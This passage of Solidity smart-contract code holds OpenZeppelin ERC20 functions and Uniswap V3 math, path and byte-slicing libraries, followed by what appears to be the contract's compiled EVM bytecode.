(uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import './BytesLib.sol'; /// @title Functions for manipulating path data for multihop swaps library Path { using BytesLib for bytes; /// @dev The length of the bytes encoded address uint256 private constant ADDR_SIZE = 20; /// @dev The length of the bytes encoded fee uint256 private constant FEE_SIZE = 3; /// @dev The offset of a single token address and pool fee uint256 private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE; /// @dev The offset of an encoded pool key uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE; /// @dev The minimum length of an encoding that contains 2 or more pools uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET; /// @notice Returns true iff the path contains two or more pools /// @param path The encoded swap path /// @return True if path contains two or more pools, otherwise false function hasMultiplePools(bytes memory path) internal pure returns (bool) { return path.length >= MULTIPLE_POOLS_MIN_LENGTH; } /// @notice Returns the number of pools in the path /// @param path The encoded swap path /// @return The number of pools in the path function numPools(bytes memory path) internal pure returns (uint256) { // Ignore the first token address. From then on every fee and token offset indicates a pool. return ((path.length - ADDR_SIZE) / NEXT_OFFSET); } /// @notice Decodes the first pool in path /// @param path The bytes encoded swap path /// @return tokenA The first token of the given pool /// @return tokenB The second token of the given pool /// @return fee The fee level of the pool function decodeFirstPool(bytes memory path) internal pure returns ( address tokenA, address tokenB, uint24 fee ) { tokenA = path.toAddress(0); fee = path.toUint24(ADDR_SIZE); tokenB = path.toAddress(NEXT_OFFSET); } /// @notice Gets the segment corresponding to the first pool in the path /// @param path The bytes encoded swap path /// @return The segment containing all data necessary to target the first pool in the path function getFirstPool(bytes memory path) internal pure returns (bytes memory) { return path.slice(0, POP_OFFSET); } /// @notice Skips a token + fee element from the buffer and returns the remainder /// @param path The swap path /// @return The remaining token + fee elements in the path function skipToken(bytes memory path) internal pure returns (bytes memory) { return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; import './PoolAddress.sol'; /// @notice Provides validation for callbacks from Uniswap V3 Pools library CallbackValidation { /// @notice Returns the address of a valid Uniswap V3 Pool /// @param factory The contract address of the Uniswap V3 factory /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The V3 pool contract address function verifyCallback( address factory, address tokenA, address tokenB, uint24 fee ) internal view returns (IUniswapV3Pool pool) { return verifyCallback(factory, PoolAddress.getPoolKey(tokenA, tokenB, fee)); } /// @notice Returns the address of a valid Uniswap V3 Pool /// @param factory The contract address of the Uniswap V3 factory /// @param poolKey The identifying key of the V3 pool /// @return pool The V3 pool contract address function verifyCallback(address factory, PoolAddress.PoolKey memory poolKey) internal view returns (IUniswapV3Pool pool) { pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey)); require(msg.sender == address(pool)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2**255); z = int256(y); } } // SPDX-License-Identifier: GPL-2.0-or-later /* * @title Solidity Bytes Arrays Utils * @author Gonçalo Sá <[email protected]> * * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity. * The library lets you concatenate, slice and type cast bytes arrays both in memory and storage. */ pragma solidity >=0.5.0 <0.8.0; library BytesLib { function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, 'slice_overflow'); require(_start + _length >= _start, 'slice_overflow'); require(_bytes.length >= _start + _length, 'slice_outOfBounds'); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) { require(_start + 20 >= _start, 'toAddress_overflow'); require(_bytes.length >= _start + 20, 'toAddress_outOfBounds'); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) { require(_start + 3 >= _start, 'toUint24_overflow'); require(_bytes.length >= _start + 3, 'toUint24_outOfBounds'); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } }
0x6080604052600436106103905760003560e01c80637bcdc16e116101dc578063bdd438b811610102578063dfc19520116100a0578063f5d278e41161006f578063f5d278e4146109e2578063f73e19c3146109f7578063fa004fbf14610a17578063fa461e3314610a3757610402565b8063dfc195201461095c578063f101d92f1461097c578063f20e5e3514610991578063f2fde38b146109c257610402565b8063cae74029116100dc578063cae74029146108ff578063d0e30db014610914578063d4aec8171461091c578063dd62ed3e1461093c57610402565b8063bdd438b8146108a7578063c2451689146108c7578063c45a0155146108ea57610402565b8063955a15e81161017a578063a457c2d711610149578063a457c2d714610827578063a54c889914610847578063a9059cbb14610867578063b0b934611461088757610402565b8063955a15e8146107c857806395d89b41146107dd5780639c1ab1b8146107f2578063a319b29f1461081257610402565b806382564bca116101b657806382564bca146107695780638da5cb5b1461077e5780638ec4b721146107935780638f8b8dbc146107a857610402565b80637bcdc16e1461071f5780637dc0d1d01461073f5780637f07b1301461075457610402565b8063395ebb69116102c15780635e5cdcd71161025f5780636c1040a91161022e5780636c1040a9146106c257806370749b44146106d757806370a08231146106ea578063715018a61461070a57610402565b80635e5cdcd71461067057806363bbc4b61461068357806366a91b761461069857806367b8c345146106ad57610402565b80633fc8cef31161029b5780633fc8cef31461060c5780634468c022146106215780634d76e6fc14610636578063533092ef1461064b57610402565b8063395ebb69146105a85780633d3a62ee146105ca5780633dcb0c5d146105ea57610402565b806323ccafd91161032e5780632e1a7d4d116103085780632e1a7d4d14610531578063313ce5671461055157806333194c0a14610573578063395093511461058857610402565b806323ccafd9146104e957806325d7707c146105095780632a3400561461051c57610402565b8063155f586d1161036a578063155f586d1461047f57806318160ddd146104a15780631a5af342146104b657806323b872dd146104c957610402565b806306fdde0314610407578063095ea7b3146104325780630ca514cd1461045f57610402565b3661040257336001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21614806103db575060055461010090046001600160a01b031633145b6104005760405162461bcd60e51b81526004016103f790615b26565b60405180910390fd5b005b600080fd5b34801561041357600080fd5b5061041c610a57565b60405161042991906157da565b60405180910390f35b34801561043e57600080fd5b5061045261044d36600461519c565b610aed565b604051610429919061573e565b34801561046b57600080fd5b5061040061047a36600461549b565b610b0b565b34801561048b57600080fd5b50610494610bad565b60405161042991906155f7565b3480156104ad57600080fd5b50610494610bb3565b6104006104c436600461549b565b610bb9565b3480156104d557600080fd5b506104526104e436600461515c565b610ebf565b3480156104f557600080fd5b506104006105043660046154f1565b610f47565b6104006105173660046151e3565b6110fd565b34801561052857600080fd5b506104946111cd565b34801561053d57600080fd5b5061040061054c36600461549b565b6111d3565b34801561055d57600080fd5b50610566611295565b6040516104299190615db9565b34801561057f57600080fd5b5061049461129e565b34801561059457600080fd5b506104526105a336600461519c565b6112c2565b3480156105b457600080fd5b506105bd611310565b6040516104299190615da8565b3480156105d657600080fd5b506104006105e536600461549b565b611316565b3480156105f657600080fd5b506105ff6114ae565b604051610429919061561b565b34801561061857600080fd5b506105ff6114c2565b34801561062d57600080fd5b506105ff6114e6565b34801561064257600080fd5b506105ff61150a565b34801561065757600080fd5b5061066061152e565b6040516104299493929190615718565b61040061067e366004615512565b61154a565b34801561068f57600080fd5b506104946115c6565b3480156106a457600080fd5b506104946115cc565b3480156106b957600080fd5b506104946115d2565b3480156106ce57600080fd5b506104946115d8565b6104006106e53660046154cb565b6115fc565b3480156106f657600080fd5b50610494610705366004615108565b6116c6565b34801561071657600080fd5b506104006116e5565b34801561072b57600080fd5b5061040061073a36600461549b565b61179e565b34801561074b57600080fd5b506105ff611855565b34801561076057600080fd5b506105ff611879565b34801561077557600080fd5b506105ff61189d565b34801561078a57600080fd5b506105ff6118c1565b34801561079f57600080fd5b506104946118d0565b3480156107b457600080fd5b506104006107c336600461553d565b6118d6565b3480156107d457600080fd5b506104946119a4565b3480156107e957600080fd5b5061041c6119aa565b3480156107fe57600080fd5b5061040061080d3660046154f1565b611a0b565b34801561081e57600080fd5b50610400611a8f565b34801561083357600080fd5b5061045261084236600461519c565b611b26565b34801561085357600080fd5b5061040061086236600461549b565b611b8e565b34801561087357600080fd5b5061045261088236600461519c565b611c45565b34801561089357600080fd5b506104526108a236600461549b565b611c59565b3480156108b357600080fd5b506104006108c236600461549b565b611c64565b3480156108d357600080fd5b506108dc611d1b565b604051610429929190615749565b3480156108f657600080fd5b506105ff611d2e565b34801561090b57600080fd5b50610494611d52565b610400611d58565b34801561092857600080fd5b5061040061093736600461549b565b611e03565b34801561094857600080fd5b50610494610957366004615124565b611e9a565b34801561096857600080fd5b5061040061097736600461549b565b611ec5565b34801561098857600080fd5b50610494611f83565b34801561099d57600080fd5b506109b16109ac36600461549b565b611f89565b60405161042995949392919061578e565b3480156109ce57600080fd5b506104006109dd366004615108565b612128565b3480156109ee57600080fd5b506105bd612238565b348015610a0357600080fd5b50610494610a1236600461549b565b612244565b348015610a2357600080fd5b50610400610a3236600461549b565b61224f565b348015610a4357600080fd5b50610400610a52366004615223565b61230d565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae35780601f10610ab857610100808354040283529160200191610ae3565b820191906000526020600020905b815481529060010190602001808311610ac657829003601f168201915b5050505050905090565b6000610b01610afa6123b3565b84846123b7565b5060015b92915050565b610b136123b3565b6001600160a01b0316610b246118c1565b6001600160a01b031614610b6d576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b60088190556040517f29600e2e028c8c5c2b112d021938e0d0237d8fafcbb20394c56cf9fa4661ca2790610ba29083906155f7565b60405180910390a150565b600d5481565b60025490565b60026006541415610c11576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655600080610c216124a3565b91509150610c2f83826124bd565b6000610c3c8484846124ec565b50905082158015610c4b575081155b15610d695760095460405163cce79bd560e01b81526000916001600160a01b037f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a1169163cce79bd591610d10917f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c917f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b917f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29163ffffffff169060019060040161562f565b60206040518083038186803b158015610d2857600080fd5b505afa158015610d3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6091906154b3565b42601055601155505b610e717f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc27f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c6001600160a01b031663ddca3f436040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0757600080fd5b505afa158015610e1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3f9190615478565b84610e4a89346126bc565b60008a604051602001610e5d91906155f7565b604051602081830303815290604052612714565b336001600160a01b03167f5d85169ff8329e90f3225f9798e0eba54d00c55d3bbfe201a0d1606febb23a8e8583604051610eac929190615d6c565b60405180910390a2505060016006555050565b6000610ecc848484612795565b610f3c84610ed86123b3565b610f3785604051806060016040528060288152602001615eed602891396001600160a01b038a16600090815260016020526040812090610f166123b3565b6001600160a01b0316815260208101919091526040016000205491906128f0565b6123b7565b5060015b9392505050565b60026006541415610f9f576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026006556000610faf83612987565b90506110b07f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc27f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b7f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c6001600160a01b031663ddca3f436040518163ffffffff1660e01b815260040160206040518083038186803b15801561104f57600080fd5b505afa158015611063573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110879190615478565b848660018960405160200161109c91906155f7565b6040516020818303038152906040526129ac565b336001600160a01b03167fa13b272c1cf13ba724064d3d4809d9f557aab8da2bb582cba031a2f57e728e9d84836040516110eb929190615d6c565b60405180910390a25050600160065550565b60026006541415611155576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655600080611165612a23565b91509150816111865760405162461bcd60e51b81526004016103f790615aef565b611191818585612a4c565b336001600160a01b03167eb3acebad2d25b9626850dd370eadbf46d6a94dd0fab19c061f97e1dd4a9639858584604051610eac93929190615759565b600e5481565b6002600654141561122b576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655600061123b82612987565b9050600061124c3384846000612b7c565b90506112583382612bc9565b336001600160a01b03167f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca948484846040516110eb93929190615d92565b60055460ff1690565b7f000000000000000000000000000000000000000000000000000000000000004681565b6000610b